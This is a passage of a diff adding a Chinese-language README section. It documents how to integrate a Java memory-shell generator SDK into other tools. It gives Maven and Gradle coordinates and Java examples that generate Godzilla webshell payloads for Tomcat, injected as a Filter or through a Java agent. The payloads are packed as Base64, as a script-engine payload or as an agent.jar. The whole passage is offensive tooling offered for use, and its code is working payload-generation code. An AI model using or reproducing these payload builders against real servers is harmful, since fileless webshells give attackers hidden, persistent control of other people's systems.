### SDK 集成到现有工具中
75+
76+
> 适合集成到已有工具中，实现内存马 payload 的生成，支持 JDK8 以上版本，v1.7.0 开始支持
77+
78+
1. 添加依赖，Maven Or Gradle
79+
80+
```xml
81+
<!-- Maven Repo-->
82+
<dependency>
83+
<groupId>io.github.reajason</groupId>
84+
<artifactId>generator</artifactId>
85+
<version>1.7.0</version>
86+
</dependency>
87+
```
88+
89+
```groovy
90+
// Gradle Repo
91+
implementation 'io.github.reajason:generator:1.7.0'
92+
```
93+
94+
2. 生成 Tomcat Godzilla Filter 内存马示例
95+
96+
```java
97+
ShellConfig shellConfig = ShellConfig.builder()
98+
.server(Server.Tomcat)
99+
.shellTool(ShellTool.Godzilla)
100+
.shellType(ShellType.FILTER)
101+
.shrink(true) // 缩小字节码
102+
.debug(false) // 关闭调试
103+
.build();
104+
105+
InjectorConfig injectorConfig = InjectorConfig.builder()
106+
// .urlPattern("/*") // 自定义 urlPattern，默认就是 /*
107+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
108+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
109+
.build();
110+
111+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
112+
// .pass("pass")
113+
// .key("key")
114+
// .headerName("User-Agent")
115+
// .headerValue("test")
116+
.build();
117+
118+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
119+
120+
System.out.println("注入器类名："+result.getInjectorClassName());
121+
System.out.println("内存马类名："+result.getShellClassName());
122+
123+
System.out.println(result.getShellConfig());
124+
System.out.println(result.getShellToolConfig());
125+
126+
System.out.println("Base64 打包："+Packers.Base64.getInstance().pack(result));
127+
System.out.println("脚本引擎打包："+Packers.ScriptEngine.getInstance().pack(result));
128+
```
129+
3. 生成 Tomcat Godzilla AgentFilterChain 示例
130+
```java
131+
ShellConfig shellConfig = ShellConfig.builder()
132+
.server(Server.Tomcat)
133+
.shellTool(ShellTool.Godzilla)
134+
.shellType(ShellType.AGENT_FILTER_CHAIN)
135+
.shrink(true) // 缩小字节码
136+
.debug(false) // 关闭调试
137+
.build();
138+
139+
InjectorConfig injectorConfig = InjectorConfig.builder()
140+
// .urlPattern("/*") // 自定义 urlPattern，默认就是 /*
141+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
142+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
143+
.build();
144+
145+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
146+
// .pass("pass")
147+
// .key("key")
148+
// .headerName("User-Agent")
149+
// .headerValue("test")
150+
.build();
151+
152+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
153+
154+
System.out.println("注入器类名：" + result.getInjectorClassName());
155+
System.out.println("内存马类名：" + result.getShellClassName());
156+
157+
System.out.println(result.getShellConfig());
158+
System.out.println(result.getShellToolConfig());
159+
160+
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
161+
Files.write(Paths.get("agent.jar"), agentJarBytes);
162+
```
163+
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
164+
